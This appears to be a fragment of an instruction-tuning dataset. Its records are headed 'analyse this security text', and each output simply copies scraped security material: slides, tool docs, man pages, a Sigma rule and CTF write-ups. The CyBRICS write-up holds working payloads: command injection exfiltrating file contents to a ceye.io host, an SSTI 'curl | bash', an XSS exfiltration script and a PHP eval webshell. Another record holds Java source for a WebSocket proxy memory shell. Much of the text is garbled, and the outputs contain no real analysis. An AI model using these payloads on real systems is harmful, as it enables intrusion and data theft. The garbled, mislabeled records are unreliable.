Lead by Example DIME Management Record DIME Management Record DIME Management Record What is a Signet? Signet Header Byte 1: Signet Format Version Number Bytes 2-4: Length of the Signet (minus the 4 byte header) Defined Attributes Byte 1: Attribute Type (Signing key, Encryption Key, Org Signature, Etc.) Bytes 2-3: Value Length Bytes 4-X: Value Undefined Attributes Byte 1: Indicates Undefined Attribute Type (Value == 255) Byte 2: Name Length Bytes 3-N: Name Bytes (N+1)-(N+3): Value Length Bytes (N+4)-(N+4+X): Value * Because the overall length is 3 bytes, the maximum size of a Signet is 16 megabytes. Signet Construction Signet Construction Signet Construction Signet Construction Signet Construction Signet Construction Trust Model Signet resolver obtains a signet from an authoritative primary source and then validates it using a pre-authenticated secondary source. User Signet Org Sign", "category": "text_analysis", "source": "security_papers"} {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\n# Data Science 3 Category: Data Science, 200 points ## Description See [Data Science 1](Data_Science_1.md). ## Solution: For this flag, we'll look for the largest internal clique of hosts. In other words, we're searching for the largest \"sub-network\" in our corporation where all hosts are communicating with each other. We'll use the reference code from [here](https://www.kaggle.com/hawkcurry/data-analysis-for-network-security-101-solution) to identify the clique. ```python import networkx from networkx.algorithms.approximation.clique import large_clique_size from collections import Counter internal_edges_all = df[ df['src_int'] & df['dst_int'] ].drop_duplicates(['src_ip', 'dst_ip', 'dst_port']) internal_ports = internal_edges_all.dst_port.unique() port_upper_bounds = [] for p in internal_ports: internal_edges = internal_edges_all\\ .pipe(lambda x: x[x['dst_port'] == p])\\ .drop_duplicates(['src_ip', 'dst_ip']) edges = set() for l, r in zip(internal_edges.src_ip, internal_edges.dst_ip): k = min((l, r), (r, l)) edges.add(k) degrees = Counter() for (l, r) in edges: degrees[l] += 1 degrees[r] += 1 max_clique_size = 0 min_degrees = len(degrees) for idx, (node, degree) in enumerate(degrees.most_common()): min_degrees = min(min_degrees, degree) if min_degrees >= idx: max_clique_size = max(max_clique_size, idx+1) if min_degrees < max_clique_size: break port_upper_bounds.append((p, max_clique_size + 1)) max_port = 0 curr_max_clique = 0 max_clique_G = None for p, max_clique_upper_bound in port_upper_bounds: if curr_max_clique > max_clique_upper_bound: break internal_edges = internal_edges_all\\ .pipe(lambda x: x[x['dst_port'] == p])\\ .drop_duplicates(['src_ip', 'dst_ip']) internal_nodes = set(internal_edges.src_ip) | set(internal_edges.dst_ip) G = networkx.Graph() G.add_nodes_from(internal_nodes) for l, r in zip(internal_edges.src_ip, internal_edges.dst_ip): G.add_edge(l, r) _size = large_clique_size(G) if curr_max_clique < _size: curr_max_clique = _size max_port = p max_clique_", "category": "text_analysis", "source": "security_papers"} {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\nAdam Donenfeld Android chipsets overview in ecosystem Qualcomm chipset subsystems overview New kernel vulnerabilities Exploitation of a new kernel vulnerability Conclusions ADAM DONENFELD Years of experience in research (both PC and mobile) Vulnerability assessment Vulnerability exploitation Senior security researcher at Check Point In meiner Freizeit, lerne ich Deutsch gern Special thanks to Avi Bashan, Daniel Brodie and Pavel Berengoltz for helping with the research OEM Chipset code Android Open Source Project Linux Kernel Qualcomm IPC Router GPU Thermal QSEECOM Performance Audio Ashmem IPC Router GPU Thermal Performance CVE-2016-5340 Ashmem Androids propriety memory allocation subsystem Qualcomm devices uses a modified version Simplifies access to ashmem by Qualcomm modules int get_ashmem_file(int fd, struct file **filp, struct file **vm_file, unsigned long *len) { int ret = -1; struct ashmem_area *asma; struct file *file = fget(fd); if (is_ashmem_file(file)) { asma = file->private_data; *filp = file; *vm_file = asma->file; *len = asma->size; ret = 0; } else { fput(file); } return ret; } Is our fd an ashmem file descriptor? CVE-2016-5340 Obtain a file struct from file descriptor Compare file operation handlers to expected handler struct If it matches file type is valid static int is_ashmem_file(struct file *file) { char fname[256], *name; name = dentry_path(file->f_dentry, fname, 256); return strcmp(name, \"/ashmem\") ? 0 : 1; /* Oh my god */ } CVE-2016-5340 Exploitation requires Creation of file named ashmem on root mount point (/) / is read-only CVE-2016-5340 Opaque Binary Blob APK Expansion File Support APKs > 100MB Deprecated (still works!) A mountable file system CVE-2016-5340 Create an OBB Create ashmem in its root directory Mount the OBB Map ashmem memory to the GPU Pass a fd to the fake ashmem file Ashmem IPC Router GPU Thermal Performance CVE-2016-2059 Qualcomms IPC router Special socket family AF_MSM_IPC (27) Unique feat", "category": "text_analysis", "source": "security_papers"} {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\nC.R.E.A.M. C.R.E.A.M. Cache Rules Evidently Cache Rules Evidently Ambiguous, Misunderstood Ambiguous, Misunderstood Jacob Thompson Security Analyst Independent Security Evaluators jthompson@securityevaluators.com Payroll Statement from ADP Name Address Last four of SSN Last four of bank acct. Prescription Claims from Argus Name Medication names and dosages Credit Report from Equifax Name Credit score Credit report Types of Cached Sensitive Data Name Postal Address Email Address Phone Number Date of birth Last 4 digits of SSN Bank account numbers Check images Credit card account numbers Stock positions and balances Insurance policy numbers, amounts VINs Life insurance beneficiaries Medical prescriptions Reliably Prevent Disk Caching Use two HTTP headers (not meta tags): Pragma: no-cache IE 8 and earlier with HTTP/1.0 servers Cache-Control: no-store All other cases How to Fail at Preventing Caching Cache-Control: no-cache Not standard Works in IE 4-9 Broken in IE 10 Pragma: no-cache Only works in IE Cache-Control: private Not for browsers Cache-Control in meta tags Not recognized in any browser Cache-Control with HTTP/1.0 Broken in IE 4-8 History of Disk Caching Policies Never cache HTTPS Netscape 1, 3+ Mozilla Firefox 1, 2 Safari Opt-in Firefox 3, 3.5 Non-standard opt-out Netscape 2 IE 3 Generous opt-out IE 4-8 IE 9 IE 10 Strict standards compliance Chrome Firefox 4+ Misunderstandings of Caching Google: browsers do not cache ssl browsers do not cache https Browser Developers Favorite quote from Mozilla bug 531801: Im on MoCos security team :) Among sites that dont use cache-control:no-store, the correlation between SSL and sensitive is very low. Recommendations Update web standards Fix web applications Fix bad documentation Fix browsers (maybe?) Try our demo site for yourself: https://demo.securityevaluators.com Questions? Full report: http://securityevaluators.com/content/case-studies/caching/ Demo", "category": "text_analysis", "source": "security_papers"} {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\n# MFOC [Mifare Classic Offline Cracker] ## 项目主页 > https://github.com/nfc-tools/mfoc.git ## 简介 MFOC是一款用于实施Nethemba\"离线嵌套\"攻击的开源软件 此程序允许从MIFARE Classic卡中恢复身份验证密钥 请注意MFOC只有在具有已知密匙时才能从目标恢复其他密钥: 默认密钥(在MFOC中使用硬编码) 或自定义密钥(由用户通过命令行输入) ## 从源码编译 ``` $ git clone https://github.com/nfc-tools/mfoc.git $ cd mfoc $ autoreconf -is $ ./configure $ make && sudo make install ``` ## 用法 ``` root@kali:~# mfoc -h Usage: mfoc [-h] [-k 密钥] [-f 密钥文件] ... [-P 探测值] [-T 容差值] [-O 输出文件] h 打印帮助信息并退出 k 尝试默认密钥和指定密钥 f 解析除默认密钥之外还要添加的密钥文件 P 每个扇区的探测值默认值20 T 指定每次使用随机数的容差范围默认值20 (即总容差范围为40上下浮动范围为20) O 导出卡中数据到指定文件(必选) D 如果没有PRNG漏洞导出卡的部分数据到指定文件 示例: mfoc -O mycard.mfd 示例: mfoc -k ffffeeeedddd -O mycard.mfd 示例: mfoc -f keys.txt -O mycard.mfd 示例: mfoc -P 50 -T 30 -O mycard.mfd 此mfoc版本为 0.10.7 更多帮助信息请运行 'man mfoc' ```", "category": "text_analysis", "source": "security_papers"} {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\n# T1529-win-系统关机或重启 ## 来自ATT&CK的描述 攻击者可能会关闭或者重启系统用来中断正常用户对这些系统的访问或者为了破坏这些系统操作系统包含用于启动计算机关闭或重新启动的命令在某些情况下这些命令还可以用于远程计算机关闭或者重启关闭或重新启动系统可能会干扰合法用户对计算机资源的访问 攻击者可能会以其他方式例如磁盘结构擦除或禁止系统恢复对系统造成影响后尝试关闭或者重新引导系统以加快对系统可用性的影响 ## 测试案例 windows系统自带一个名为Shutdown.exe的程序可以用于关机操作位置在Windows\\System32下一般情况下Windows系统的关机都可以通过调用程序 shutdown.exe来实现的同时该程序也可以用于终止正在计划中的关机操作来自百度百科 具体shutdown程序的用法可以参考微软官方说明 ## 检测日志 windows 安全日志 ## 测试复现 这里只演示使用shutdown执行定时关机任务 ```bash C:\\Users\\Administrator>Shutdown -s -t 13200 #220分钟后关机 C:\\Users\\Administrator>Shutdown -a #取消关机 ``` ## 测试留痕 Event_ID_4688_安全日志 ```yml 已创建新进程 创建者主题: 安全 ID: QAX\\Administrator 帐户名: Administrator 帐户域: QAX 登录 ID: 0x7169C 目标主题: 安全 ID: NULL SID 帐户名: - 帐户域: - 登录 ID: 0x0 进程信息: 新进程 ID: 0x730 新进程名称: C:\\Windows\\System32\\shutdown.exe 令牌提升类型: %%1936 强制性标签: Mandatory Label\\High Mandatory Level 创建者进程 ID: 0x15d0 创建者进程名称: C:\\Windows\\System32\\cmd.exe 进程命令行: Shutdown -s -t 13200 已创建新进程 创建者主题: 安全 ID: SYSTEM 帐户名: WIN-1CIA2BP8VBJ$ 帐户域: QAX 登录 ID: 0x3E7 目标主题: 安全 ID: NULL SID 帐户名: Administrator 帐户域: QAX 登录 ID: 0x7169C 进程信息: 新进程 ID: 0x1418 新进程名称: C:\\Windows\\System32\\wlrmdr.exe 令牌提升类型: %%1936 强制性标签: Mandatory Label\\High Mandatory Level 创建者进程 ID: 0x27c 创建者进程名称: C:\\Windows\\System32\\winlogon.exe 进程命令行: -s 120000 -f 2 -t 即将注销你的登录 -m Windows 将在 220 分钟后关闭 ``` Event_ID_1074_系统日志 ```yml 进程 C:\\Windows\\system32\\winlogon.exe (WIN-MH0D37EDEEI) 由于以下原因已代表用户 NT AUTHORITY\\SYSTEM 启动计算机 WIN-1CIA2BP8VBJ 的 重启: 操作系统: 升级(计划内) 原因代码: 0x80020003 关机类型: 重启 注释: ``` Event_ID_6006_系统日志 ```yml 事件日志服务已停止 ``` ## 检测规则/思路 ### sigma规则 ```yml title: 使用shutdown命令使计算机关机或者重新启动 description: Windows下使用使用shutdown命令使计算机重新启动或者关机 tags: T1529 status: experimental author: 12306Bro logsource: product: windows service: security detection: selection1: EventID: 4688 #进程创建 New ProcessName: 'shutdown.exe' #进程信息>新建进程名称 Processcommandline|contain: 'Shutdown' #进程信息>进程命令行参数 selection2: EventID: - 1074 #计算机重启 - 6006 #事件日志服务已停止 conditio", "category": "text_analysis", "source": "security_papers"} {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\nDIRA: Automatic Detection, Identification, and Repair of Control-Hijacking Attacks Alexey Smirnov Tzi-cker Chiueh Computer Science Department State University of New York at Stony Brook Stony Brook, NY 11794-4400 {alexey, chiueh}@cs.sunysb.edu Abstract Buffer overflow attacks are known to be the most com- mon type of attacks that allow attackers to hijack a re- mote system by sending a specially crafted packet to a vulnerable network application running on it. A compre- hensive defense strategy against such attacks should in- clude (1) an attack detection component that determines the fact that a program is compromised and prevents the attack from further propagation, (2) an attack identifica- tion component that identifies attack packets so that one can block such packets in the future, and (3) an attack repair component that restores the compromised applica- tions state to that before the attack and allows it to con- tinue running normally. Over the last decade, a significant amount of research has been vested in the systems that can detect buffer overflow attacks either statically at com- pile time or dynamically at run time. However, not much effort is spent on automated attack packet identification or attack repair. In this paper we present a unified solu- tion to the three problems mentioned above. We imple- mented this solution as a GCC compiler extension called DIRA that transforms a programs source code so that the resulting program can automatically detect any buffer overflow attack against it, repair the memory damage left by the attack, and identify the actual attack packet(s). We used DIRA to compile several network applications with known vulnerabilities and tested DIRAs effectiveness by attacking the transformed programs with publicly avail- able exploit code. The DIRA-compiled programs were always able to detect the attacks, identify the attack pack- ets and most often repair themselves to continue normal execution. The average run-time performance overhead f", "category": "text_analysis", "source": "security_papers"} {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\nGreg Conti Interface Design for Hacking Tools original image: http://www.daveyandgoliath.org/ Disclaimer The views expressed in this article are those of the author and do not reflect the official policy or position of the United States Military Academy, the Department of the Army, the Department of Defense or the U.S. Government. image: http://www.leavenworth.army.mil/usdb/standard%20products/vtdefault.htm Outline Introduction Command Line vs. GUI's Task, User, & Technology Principles of Design GUI Components Critique of Tools Pointers Q&A image: http://www.uk-anime.net/fanart/large/cloud.jpg by Jim Evans What is an Interface? The point of interaction or communication between a computer and any other entity, such as a printer or human operator. source: http://dictionary.reference.com/search?q=interface What is an Interface? The way that you accomplish tasks with a product and how it responds thats the interface. The Humane Interface by Jef Raskin, p2 Command Line vs. GUI Flexibility Time Ease of use Best for heavy users source: http://www.jpeek.com/talks/svlug_19991103/020.html image: http://helpdesk.princeton.edu/images/ping.gif Crack in One Line of Perl perl -nle 'setpwent;crypt($_,$c)eq$c&&print\"$u $_\"while($u,$c)=getpwent' Author: Alec Muffett Several Lines of Perl Can Crack DVD Encryption #!/usr/bin/perl # 472-byte qrpff, Keith Winstein and Marc Horowitz # MPEG 2 PS VOB file -> descrambled output on stdout. # usage: perl -I :::: qrpff # where k1..k5 are the title key bytes in least to most-significant order s''$/=\\2048;while(<>){G=29;R=142;if((@a=unqT=\"C*\",_)[20]&48){D=89;_=unqb24,qT,@ b=map{ord qB8,unqb8,qT,_$a[--D]}@INC;s/...$/1$&/;Q=unqV,qb25,_;H=73;O=$b[4]<<9 |256|$b[3];Q=Q>>8(P=(E=255)&(Q>>12Q>>4Q/8Q))<<17,O=O>>8(E&(F=(S=O>>14&7O) S*8S<<6))<<9,_=(map{U=_%16orE=R=110&(S=(unqT,\"\\xb\\ntd\\xbz\\x14d\")[_/16%8]);E =(72,@z=(64,72,G=12*(U-2?0:S&17)),H=_%64?12:0,@z)[_%8]}(16..271))[_]((D>>=8 )+=P+(~F&E))for@a[12", "category": "text_analysis", "source": "security_papers"} {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\nPreface %\\ :LOOLDP 5XELQ DQG 0DUVKDOO %UDLQ Copyright 1999 by Prentice Hall PTR Prentice-Hall, Inc. A Simon & Schuster Company Upper Saddle River, NJ 07458 Prentice Hall books are widely used by corporations and govern- ment agencies for training, marketing and resale. The publisher offers discounts on this book when ordered in bulk quantities. For more information, contact Corporate Sales Department, Phone: 800-382-3419; fax: 201-236-7141; email: corpsales@prenhall.com Or write Corporate Sales Department, Prentice Hall PTR, One Lake Street, Upper Saddle River, NJ 07458. Product and company names mentioned herein are the trade- marks or registered trademarks of their respective owners. All rights reserved. No part of this book may be reproduced, in any form or by any means, without permission in writing from the publisher. ISBN 0-13-095966-9 This electronic version of the book is provided strictly for use by customers who have purchased the printed version of the book and should not be reproduced or distributed in any way. CONTENTS Preface xiii ONE The Basics of COM 1 Classes and Objects 1 How COM Is Different 3 COM can Run Across Processes 3 COM Methods Can Be Called Across a Network 4 COM Objects Must Be Unique Throughout the World 5 COM is Language Indpendent 5 COM Vocabulary 5 The Interface 7 Interfaces Isolate the Client From the Server 8 Imagine a Component 10 What's in a Name? 10 The Source of All Interfaces - IUnknown 10 A Typical COM Object 11 How to Be Unique - the GUID 12 A COM Server 14 Interactions Between Client and Server 15 Summary 16 TWO Understanding the Simplest COM Client 19 Four Steps to Client Connectivity 20 Initializing the COM Subsystem: 21 Query COM for a Specific Interface 22 Execute a Method on the Interface. 24 Release the Interface 24 Summary 25 vi Contents THREE Understanding a Simple COM Server 27 Where's the Code? 28 Building a DLL-Based (In-Process) COM Server 29 Creating the Server Using the ATL Wizard 30 Adding a COM Object 33 Add", "category": "text_analysis", "source": "security_papers"} {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\n1 Websocket内存利的些补充 jspjs利 WsProxy内存 前段时间有师傅提出了基于websocket的内存并给出了实现 https://github.com/veo/wsMemShell 本来想写写但是看到https://tttang.com/archive/1673/ 这篇师傅的章已经写的很好了这就 提些利的东 最新版本的蚁剑已经持连接websocket协议的内存在官更新doc提到pswindows跟 cmdlinux可以使其实jspjs类型也是可以直接连接的上篇章https://yzddmr6.com/posts/java- expression-exploit/提到过为了兼容各种表达式注把jspjs类型的其他参数都合并为个了所 以直接把主payload部分发过去就完事了 jspjs利 2 由于ws是全双的所以来做代理常的便原版的github项中给出了cmd内存的代码但是 没有给wsproxy部分的内存代码因为defineClass次只能打进去个Class改写内存其实主要涉 及到类的复这补充上修改的个版本使的时候编译成class替换 https://github.com/veo/wsMemShell/blob/main/WsCmd.java的bytes WsProxy内存 3 Plain Text 复制代码 import javax.websocket.*; import java.io.ByteArrayOutputStream; import java.net.InetSocketAddress; import java.nio.ByteBuffer; import java.nio.channels.AsynchronousSocketChannel; import java.nio.channels.CompletionHandler; import java.util.HashMap; import java.util.concurrent.Future; import java.util.concurrent.TimeUnit; public class WsProxy extends Endpoint implements CompletionHandler, MessageHandler.Whole { Session session; ByteBuffer buffer; public AsynchronousSocketChannel client; public Session channel; long i = 0; ByteArrayOutputStream baos = new ByteArrayOutputStream(); HashMap map = new HashMap(); void readFromServer(Session channel, AsynchronousSocketChannel client) { buffer = ByteBuffer.allocate(50000); WsProxy attach = new WsProxy(); attach.client = client; attach.channel = channel; client.read(buffer, attach, this); } void process(ByteBuffer z, Session channel) { try { if (i > 1) { AsynchronousSocketChannel client = map.get(channel.getId()); client.write(z).get(); z.flip(); z.clear(); } else if (i == 1) { String values = new String(z.array()); String[] array = values.split(\" \"); String[] addrarray = array[1].split(\":\"); 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 4 AsynchronousSocketChannel client = AsynchronousSocketChannel.", "category": "text_analysis", "source": "security_papers"} {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\n# CTF 历史 > 本栏内容摘自诸葛建伟老师在 i 春秋上的公开视频The Past, Present and Future of CTF ## CTF 的起源 CTF 的前身是传统黑客之间的网络技术比拼游戏起源于 1996 年第四届 DEFCON ## 早期 CTF 竞赛 第一个 CTF 比赛1996 年-2001年没有明确的比赛规则没有专业搭建的比赛平台与环境由参赛队伍各自准备比赛目标自行准备与防守比赛目标并要尝试攻破对方的比赛目标而组织者大都只是一些非专业的志愿者接受参赛队伍手工计分的请求 没有后台自动系统支持和裁判技术能力认定计分延迟和误差以及不可靠的网络和不当的配置导致比赛带来了极大的争论与不满 ## 现代CTF 竞赛 由专业队伍承担比赛平台命题赛事组织以及自动化积分系统参赛队伍需提交参赛申请由 DEFCON 会议组织者们进行评选 就 LegitBS 组织的三年 DEFCON CTF 比赛而言有以下突出特点 - 比赛侧重于对计算机底层和系统安全的核心能力Web 漏洞攻防技巧完全被忽略 - 竞赛环境趋向多 CPU 指令架构集多操作系统多编程语言 - 采用零和计分规则 - 团队综合能力考验逆向分析漏洞挖掘漏洞利用漏洞修补加固网络流量分析系统安全运行维护以及安全方面的编程调试", "category": "text_analysis", "source": "security_papers"} {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\n.\\\" Copyright (c) 1983, 1991 The Regents of the University of California. .\\\" All rights reserved. .\\\" .\\\" Redistribution and use in source and binary forms, with or without .\\\" modification, are permitted provided that the following conditions .\\\" are met: .\\\" 1. Redistributions of source code must retain the above copyright .\\\" notice, this list of conditions and the following disclaimer. .\\\" 2. Redistributions in binary form must reproduce the above copyright .\\\" notice, this list of conditions and the following disclaimer in the .\\\" documentation and/or other materials provided with the distribution. .\\\" 3. All advertising materials mentioning features or use of this software .\\\" must display the following acknowledgement: .\\\" This product includes software developed by the University of .\\\" California, Berkeley and its contributors. .\\\" 4. Neither the name of the University nor the names of its contributors .\\\" may be used to endorse or promote products derived from this software .\\\" without specific prior written permission. .\\\" .\\\" THIS SOFTWARE IS PROVIDED BY THE REGENTS AND CONTRIBUTORS ``AS IS'' AND .\\\" ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE .\\\" IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE .\\\" ARE DISCLAIMED. IN NO EVENT SHALL THE REGENTS OR CONTRIBUTORS BE LIABLE .\\\" FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL .\\\" DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS .\\\" OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) .\\\" HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT .\\\" LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY .\\\" OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF .\\\" SUCH DAMAGE. .\\\" .\\\" Modified Sat Jul 24 01:15:33 1993 by Rik Faith .\\\" Modified Tue Oct 22 17:55:49 1996 by Eric S. Raymond .\\\" Modified Oct ", "category": "text_analysis", "source": "security_papers"} {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\n网络安全屋 INTEL 汇编指令集 Intel Assemble Instruction Set CONTENT Intel 8086 Family Architecture Instruction Clock Cycle Calculation 8088/8086 Effective Address (EA) Calculation Task State Calculation FLAGS - Intel 8086 Family Flags Register MSW - Machine Status Word (286+ only) 8086/80186/80286/80386/80486 Instruction Set AAA - Ascii Adjust for Addition AAD - Ascii Adjust for Division AAM - Ascii Adjust for Multiplication AAS - Ascii Adjust for Subtraction ADC - Add With Carry ADD - Arithmetic Addition AND - Logical And ARPL - Adjusted Requested Privilege Level of Selector (286+ PM) BOUND - Array Index Bound Check (80188+) BSF - Bit Scan Forward (386+) BSR - Bit Scan Reverse (386+) BSWAP - Byte Swap (486+) BT - Bit Test (386+) BTC - Bit Test with Compliment (386+) BTR - Bit Test with Reset (386+) BTS - Bit Test and Set (386+) CALL - Procedure Call CBW - Convert Byte to Word CDQ - Convert Double to Quad (386+) CLC - Clear Carry CLD - Clear Direction Flag CLI - Clear Interrupt Flag (disable) CLTS - Clear Task Switched Flag (286+ privileged) CMC - Complement Carry Flag CMP - Compare CMPS - Compare String (Byte, Word or Doubleword) CMPXCHG - Compare and Exchange CWD - Convert Word to Doubleword CWDE - Convert Word to Extended Doubleword (386+) DAA - Decimal Adjust for Addition DAS - Decimal Adjust for Subtraction DEC - Decrement DIV - Divide ENTER - Make Stack Frame (80188+) ESC - Escape HLT - Halt CPU IDIV - Signed Integer Division 网络安全屋 IMUL - Signed Multiply IN - Input Byte or Word From Port INC - Increment INS - Input String from Port (80188+) INT - Interrupt INTO - Interrupt on Overflow INVD - Invalidate Cache (486+) INVLPG - Invalidate Translation Look-Aside Buffer Entry (486+) IRET/IRETD - Interrupt Return Jxx - Jump Instructions Table JCXZ/JECXZ - Jump if Register (E)CX is Zero JMP - Unconditional Jump LAHF - Load Register AH From Flags LAR - Load Access Rights (286+ protected) LDS - Load Pointer Using DS LEA - Load Effective Address LEAVE - Restore Stack for Procedure ", "category": "text_analysis", "source": "security_papers"} {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\nCyBRICS CTF By Nu1L Author:Nu1L CyBRICS CTF By Nu1L WEB Hunt Developer's Laptop Gif2png Woc RE Hide and Seek Baby Rev Polyglot NetWork XCorp Google Cloud rebyC CatGirl Breach Quiz Hellish Reverse Cyber Serial Too Secure Broken Invitation CTB Pwnogram DockEsc Forensic Krevedka Keyshooter WEB Hunt flag Developer's Laptop http://prod.free-design-feedback-cybrics2020.ctf.su/ var http = new XMLHttpRequest(); var url = ''; Gif2png filename=\"sites'|curl ack.x$(cat main.py | head -n 20| base64 | cut -c 41- 50).xxx.ceye.io|echo'.gif\" Woc var payload = \"{{[].__class__.__base__.__subclasses__() [132].__init__.__globals__['system']('curl | bash')}}\"; var params = \"url=http://ctf2020.nu1l.com&score=11%25&feedback=a\"+escape(payload)+\"b\"; http.open('POST', url, true); http.setRequestHeader('Content-type', 'application/x-www-form-urlencoded'); http.onreadystatechange = function() { if(http.readyState == 4 && http.status == 200) { var res1 = http.responseText; var getp = res1.match('(\\\\\\\\?name\\\\\\\\=[\\\\\\\\\"]*)')[1]; var http2 = new XMLHttpRequest(); var url2 = ' http2.open('GET',url2,true); http2.onreadystatechange = function() { if(http2.readyState == 4) { var a =http2.responseText; var b = btoa(a); window.location=\"\"+b; } } http2.send(); } } http.send(params); */)); @eval($_POST[x]); ?> $requiredBlocks = [ 'id=\"back\"', 'id=\"field\" name=\"field\"', 'id=\"digit0\"', 'id=\"digit1\"', 'id=\"digit2\"', 'id=\"digit3\"', 'id=\"digit4\"', 'id=\"digit5\"', share /calcs/f6fdffe48c908deb/056f35d6-6102-4ed3-a369-0642877253be.php POST x=system('cat /flag'); RE Hide and Seek main flag Mathematica cybrics{HI_this_is_fake_flag} start stdin cybrics{HI_this_is_fake_flag} syscall open ./.realflag 32 bytes realflag len(realflag) == 32 http://www.chronox.de/crypto-API/crypto/userspace-if.html https://github.com/nibrunie/af_alg-examples/blob/master/examples/stream_hash.c linux crypto API hash sha1 fake f", "category": "text_analysis", "source": "security_papers"} {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\n.TH WISH 1 .SH NAME wish \\- 简单的窗口式(windowing) shell .SH 总览 .B wish [filename] [arg] [arg ...] .SH 选项 .TP -colormap new 指定窗口使用一个新的私有的调色板(colormap)而不使用给屏幕的缺省的调色板 .TP -display display 指定显示窗口的显示器(和屏幕) .TP -geometry geometry 初始化用于窗口的几何(位置大小)如果指定了这个选项它的值存储在应用的 Tcl 解释器的 geometry 全局变量中 .TP -name name 用 name 作为窗口中显示的标题(title)作为被 send 命令使用的解释器的名字 .TP -sync 同步的执行所有 X 服务器命令这样出错就可以立即报告这将导致执行更慢但 对调试有用 -use id 指定应用的主窗口要被嵌入标识符(identifier)为 id 的 窗口中而不是被建立为一个独立的顶层窗口必须用与 toplevel 组件的 -use 选项的值相同的方式指定 Id (例如它必须与 winfo id 的返回有一样的形式 (form)) .TP -visual visual 指定这个窗口使用的视觉效果(visual)Visual 必须用 Tk_GetVisual 过程所支持的形式 .TP - - 传递所有剩下的参数到脚本的 argv 变量而不解释它们这提供了一种机制来传递象 -name 这样的参数到一个脚本而不让 wish 解释它们 .SH 描述 Wish 是一个由 Tcl 命令语言Tk 工具箱和一个从标准输入或文件读命令的主程序 构成的简单的程序它建立一个主窗口接着就处理 Tcl 命令如果不加参数的调用 wish或者第一个参数以\\(lq-\\(rq开始则从标准输入交互的读 Tcl 命令它将 连续的处理命令直到删除了所有的窗口或在标准输入上到达文件结束如果在用户 的主(home)目录中存在文件 .wishrc在从标准输入读第一条命令之前wish 把这 个文件作为一个 Tcl 脚本来求值 如果调用 wish 时加了一个初始化 fileName 参数则 fileName 被作为一个脚本 文件的名字对待Wish 将对 fileName 中的脚本进行求值(可能是建立一个用户界 面)接着它将响应事件直到所有窗口被删除将不从标准输入读命令 在这种情 况下不自动的对 .wishrc 求值如果需要的话脚本文件总是可以 source(包含) 它 .SH 关于选项 Wish 自动的处理在上面选项总结中描述的所有命令行选项任何其他的命令行参数被用后面描述的 argc 和 argv 变量直接传递给应用(程序) 应用的名字用于象 send 这样的命令从如果指定了 -name 选项则从其中获得 否则若指定了fileName则接受之或者接受调用 wish 所使用的名字在后两种情 况如果名字包含\\(lq/\\(rq字符则只有在最后一个反斜杠后面的字符被作为应用的 名字 应用(程序)的类被用于通过 RESOURCE_MANAGER 属性或 .Xdefaults 文件来指定选项除了第一个字母是大写的之外类的名字同于应用的名字 .SH 变量 Wish 设置了下列 Tcl 变量: argc 包含 arg 参数的个数(没有则为 0)不包括上面描述的选项 argv 包含一个 Tcl 列表其成员依次是在 - - 选项后面或不匹配在上面的选项段落描述的任何选项的 arg 参数如果没有这些参数则是一个空串 argv0 如果指定了 fileName 则在此包含否则包含调用 wish 使用的名字 geometry 如果指定了 -geometry 选项wish 把它的值复制到这个变量中如果在 fileName 被求值之后这个变量仍然存在wish 在一个 wm geometry 命令中使用这个值来设置主窗口的几何(位置大小) tcl_interactive 如果交互式运行 wish 则包含 1(不指定 fileName 并且标准输入是一个终端类设备)否则是 0 .SH 脚本文件 如果你建立的 Tcl 脚本文件的第一行是 \\fI#!/usr/local/bin/wish\\fR 则如果你把它标记为可执行的接着就可以直接在你的 shell 中调用这个脚本文件这里假定了 wish 被安装在缺省的位置 /usr/local/bin如果它被安装在其他地方那么你需要修改上述行来匹配之许多 UNIX 系统不允许 #! 行超出 30 个字符的长度所以要确定 wish 可执行文件能被用短文件名访问 一个更好的途径是用下面三行来开始你的脚本文件: .nf #!/bin/sh # the next line res", "category": "text_analysis", "source": "security_papers"} {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\nTABBY: Java Code Review like a pro TABBY: Java Code Review like a pro 王柏柱wh1t3p1g CONTENTS 目录 1 2 3 Background Find Java Web Vulnerabilities like a pro Find Java Gadget like a pro 4 Find Java RPC Framework Vulnerabilities like a pro Background 01 依靠专家经验人工审计 辅以正则匹配工具 标志性工具 Seay代码审计工具[1] 过程内分析 AST流分析/token流分析/ 简单数据流分析 标志性工具 rips[2]cobra[3] 初期半自动化阶段 过程间分析 跨函数的污点数据流分 析 标志性工具 GadgetInspector[4] fortify[5] 代码数据化 依靠程序分析生成代码 属性图 标志性工具CodeQL[6] 人工审计阶段 代码数据化阶段 后期半自动化阶段 代码审计发展回顾 [1] https://github.com/f1tz/cnseay [2] https://github.com/ripsscanner/rips [3] https://github.com/FeeiCN/Cobra [4] 